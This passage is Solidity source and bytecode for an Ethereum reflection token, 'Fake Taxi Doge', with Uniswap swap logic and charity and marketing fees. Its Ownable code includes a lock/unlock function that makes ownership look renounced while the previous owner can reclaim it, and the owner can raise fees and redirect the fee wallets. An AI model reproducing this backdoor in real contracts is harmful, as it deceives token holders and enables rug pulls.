`call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // Contract implementation contract FTDOGE is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Fake Taxi Doge'; string private _symbol = 'FTDOGE'; uint8 private _decimals = 9; // Tax and charity fees will start at 0 so we don't have a big impact when deploying to Uniswap // Charity wallet address is null but the method to set the address is exposed uint256 private _taxFee = 10; uint256 private _charityFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousCharityFee = _charityFee; address payable private _charityWalletAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 1000000e9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForCharity = 5 * 10 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable charityWalletAddress, address payable marketingWalletAddress) public { _charityWalletAddress = charityWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _charityFee == 0) return; _previousTaxFee = _taxFee; _previousCharityFee = _charityFee; _taxFee = 0; _charityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _charityFee = _previousCharityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular charity event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCharity; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the charity wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToCharity(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and charity fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToCharity(uint256 amount) private { _charityWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToCharity(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeCharity(uint256 tCharity) private { uint256 currentRate = _getRate(); uint256 rCharity = tCharity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rCharity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tCharity); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(tAmount, _taxFee, _charityFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 charityFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tCharity = tAmount.mul(charityFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity); return (tTransferAmount, tFee, tCharity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10'); _taxFee = taxFee; } function _setCharityFee(uint256 charityFee) external onlyOwner() { require(charityFee >= 1 && charityFee <= 26, 'charityFee should be in 1 - 26'); _charityFee = charityFee; } function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() { _charityWalletAddress = charityWalletAddress; } function _setMarketingWallet(address payable marketingWalletAddress) external onlyOwner() { _marketingWalletAddress = marketingWalletAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 1000000e9 , 'maxTxAmount should be greater than 1000000e9'); _maxTxAmount = maxTxAmount; } }
0x6080604052600436106102295760003560e01c8063715018a611610123578063cba0e996116100ab578063f2cc0c181161006f578063f2cc0c181461080b578063f2fde38b1461083e578063f429389014610871578063f815a84214610886578063f84354f11461089b57610230565b8063cba0e99614610714578063d047e4b714610747578063dd4670641461077a578063dd62ed3e146107a4578063e01af92c146107df57610230565b8063a457c2d7116100f2578063a457c2d71461063d578063a69df4b514610676578063a9059cbb1461068b578063af9549e0146106c4578063b6c52324146106ff57610230565b8063715018a6146105d45780638da5cb5b146105e957806395d89b41146105fe578063a24a8d0f1461061357610230565b8063313ce567116101b157806351bc3c851161017557806351bc3c851461051a5780635342acb41461052f5780635880b873146105625780636ddd17131461058c57806370a08231146105a157610230565b8063313ce5671461044557806339509351146104705780633bd5d173146104a95780634549b039146104d357806349bd5a5e1461050557610230565b806318160ddd116101f857806318160ddd146103645780631bbae6e0146103795780631ff53b60146103a557806323b872dd146103d85780632d8381191461041b57610230565b806306fdde0314610235578063095ea7b3146102bf57806313114a9d1461030c5780631694505e1461033357610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108ce565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028457818101518382015260200161026c565b50505050905090810190601f1680156102b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102cb57600080fd5b506102f8600480360360408110156102e257600080fd5b506001600160a01b038135169060200135610964565b604080519115158252519081900360200190f35b34801561031857600080fd5b50610321610982565b60408051918252519081900360200190f35b34801561033f57600080fd5b50610348610988565b604080516001600160a01b039092168252519081900360200190f35b34801561037057600080fd5b506103216109ac565b34801561038557600080fd5b506103a36004803603602081101561039c57600080fd5b50356109b2565b005b3480156103b157600080fd5b506103a3600480360360208110156103c857600080fd5b50356001600160a01b0316610a55565b3480156103e457600080fd5b506102f8600480360360608110156103fb57600080fd5b506001600160a01b03813581169160208101359091169060400135610acf565b34801561042757600080fd5b506103216004803603602081101561043e57600080fd5b5035610b56565b34801561045157600080fd5b5061045a610bb8565b6040805160ff9092168252519081900360200190f35b34801561047c57600080fd5b506102f86004803603604081101561049357600080fd5b506001600160a01b038135169060200135610bc1565b3480156104b557600080fd5b506103a3600480360360208110156104cc57600080fd5b5035610c0f565b3480156104df57600080fd5b50610321600480360360408110156104f657600080fd5b50803590602001351515610ce9565b34801561051157600080fd5b50610348610d7b565b34801561052657600080fd5b506103a3610d9f565b34801561053b57600080fd5b506102f86004803603602081101561055257600080fd5b50356001600160a01b0316610e10565b34801561056e57600080fd5b506103a36004803603602081101561058557600080fd5b5035610e2e565b34801561059857600080fd5b506102f8610eee565b3480156105ad57600080fd5b50610321600480360360208110156105c457600080fd5b50356001600160a01b0316610efe565b3480156105e057600080fd5b506103a3610f60565b3480156105f557600080fd5b50610348610ff0565b34801561060a57600080fd5b5061024a610fff565b34801561061f57600080fd5b506103a36004803603602081101561063657600080fd5b5035611060565b34801561064957600080fd5b506102f86004803603604081101561066057600080fd5b506001600160a01b038135169060200135611120565b34801561068257600080fd5b506103a3611188565b34801561069757600080fd5b506102f8600480360360408110156106ae57600080fd5b506001600160a01b038135169060200135611276565b3480156106d057600080fd5b506103a3600480360360408110156106e757600080fd5b506001600160a01b038135169060200135151561128a565b34801561070b57600080fd5b5061032161130d565b34801561072057600080fd5b506102f86004803603602081101561073757600080fd5b50356001600160a01b0316611313565b34801561075357600080fd5b506103a36004803603602081101561076a57600080fd5b50356001600160a01b0316611331565b34801561078657600080fd5b506103a36004803603602081101561079d57600080fd5b50356113ab565b3480156107b057600080fd5b50610321600480360360408110156107c757600080fd5b506001600160a01b0381358116916020013516611449565b3480156107eb57600080fd5b506103a36004803603602081101561080257600080fd5b50351515611474565b34801561081757600080fd5b506103a36004803603602081101561082e57600080fd5b50356001600160a01b03166114ea565b34801561084a57600080fd5b506103a36004803603602081101561086157600080fd5b50356001600160a01b03166116cc565b34801561087d57600080fd5b506103a36117b2565b34801561089257600080fd5b50610321611814565b3480156108a757600080fd5b506103a3600480360360208110156108be57600080fd5b50356001600160a01b0316611818565b600c8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561095a5780601f1061092f5761010080835404028352916020019161095a565b820191906000526020600020905b81548152906001019060200180831161093d57829003601f168201915b5050505050905090565b60006109786109716119d9565b84846119dd565b5060015b92915050565b600b5490565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60095490565b6109ba6119d9565b6000546001600160a01b03908116911614610a0a576040805162461bcd60e51b81526020600482018190526024820152600080516020612aa7833981519152604482015290519081900360640190fd5b66038d7ea4c68000811015610a505760405162461bcd60e51b815260040180806020018281038252602c815260200180612a0a602c913960400191505060405180910390fd5b601555565b610a5d6119d9565b6000546001600160a01b03908116911614610aad576040805162461bcd60e51b81526020600482018190526024820152600080516020612aa7833981519152604482015290519081900360640190fd5b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000610adc848484611ac9565b610b4c84610ae86119d9565b610b4785604051806060016040528060288152602001612a7f602891396001600160a01b038a16600090815260056020526040812090610b266119d9565b6001600160a01b031681526020810191909152604001600020549190611d26565b6119dd565b5060019392505050565b6000600a54821115610b995760405162461bcd60e51b815260040180806020018281038252602a815260200180612998602a913960400191505060405180910390fd5b6000610ba3611dbd565b9050610baf8382611de0565b9150505b919050565b600e5460ff1690565b6000610978610bce6119d9565b84610b478560056000610bdf6119d9565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611e29565b6000610c196119d9565b6001600160a01b03811660009081526007602052604090205490915060ff1615610c745760405162461bcd60e51b815260040180806020018281038252602c815260200180612b7b602c913960400191505060405180910390fd5b6000610c7f83611e83565b505050506001600160a01b038416600090815260036020526040902054919250610cab91905082611edf565b6001600160a01b038316600090815260036020526040902055600a54610cd19082611edf565b600a55600b54610ce19084611e29565b600b55505050565b6000600954831115610d42576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b81610d61576000610d5284611e83565b5093955061097c945050505050565b6000610d6c84611e83565b5092955061097c945050505050565b7f0000000000000000000000009c8609f42ea1276c168341e904ef3dea8bfa356a81565b610da76119d9565b6000546001600160a01b03908116911614610df7576040805162461bcd60e51b81526020600482018190526024820152600080516020612aa7833981519152604482015290519081900360640190fd5b6000610e0230610efe565b9050610e0d81611f21565b50565b6001600160a01b031660009081526006602052604090205460ff1690565b610e366119d9565b6000546001600160a01b03908116911614610e86576040805162461bcd60e51b81526020600482018190526024820152600080516020612aa7833981519152604482015290519081900360640190fd5b60018110158015610e985750600a8111155b610ee9576040805162461bcd60e51b815260206004820152601a60248201527f7461784665652073686f756c6420626520696e2031202d203130000000000000604482015290519081900360640190fd5b600f55565b601454600160a81b900460ff1681565b6001600160a01b03811660009081526007602052604081205460ff1615610f3e57506001600160a01b038116600090815260046020526040902054610bb3565b6001600160a01b03821660009081526003602052604090205461097c90610b56565b610f686119d9565b6000546001600160a01b03908116911614610fb8576040805162461bcd60e51b81526020600482018190526024820152600080516020612aa7833981519152604482015290519081900360640190fd5b600080546040516001600160a01b0390911690600080516020612ac7833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b600d8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561095a5780601f1061092f5761010080835404028352916020019161095a565b6110686119d9565b6000546001600160a01b039081169116146110b8576040805162461bcd60e51b81526020600482018190526024820152600080516020612aa7833981519152604482015290519081900360640190fd5b600181101580156110ca5750601a8111155b61111b576040805162461bcd60e51b815260206004820152601e60248201527f636861726974794665652073686f756c6420626520696e2031202d2032360000604482015290519081900360640190fd5b601055565b600061097861112d6119d9565b84610b4785604051806060016040528060258152602001612bca60259139600560006111576119d9565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611d26565b6001546001600160a01b031633146111d15760405162461bcd60e51b8152600401808060200182810382526023815260200180612ba76023913960400191505060405180910390fd5b6002544211611227576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300604482015290519081900360640190fd5b600154600080546040516001600160a01b039384169390911691600080516020612ac783398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b60006109786112836119d9565b8484611ac9565b6112926119d9565b6000546001600160a01b039081169116146112e2576040805162461bcd60e51b81526020600482018190526024820152600080516020612aa7833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b60025490565b6001600160a01b031660009081526007602052604090205460ff1690565b6113396119d9565b6000546001600160a01b03908116911614611389576040805162461bcd60e51b81526020600482018190526024820152600080516020612aa7833981519152604482015290519081900360640190fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6113b36119d9565b6000546001600160a01b03908116911614611403576040805162461bcd60e51b81526020600482018190526024820152600080516020612aa7833981519152604482015290519081900360640190fd5b60008054600180546001600160a01b03199081166001600160a01b0384161790915516815542820160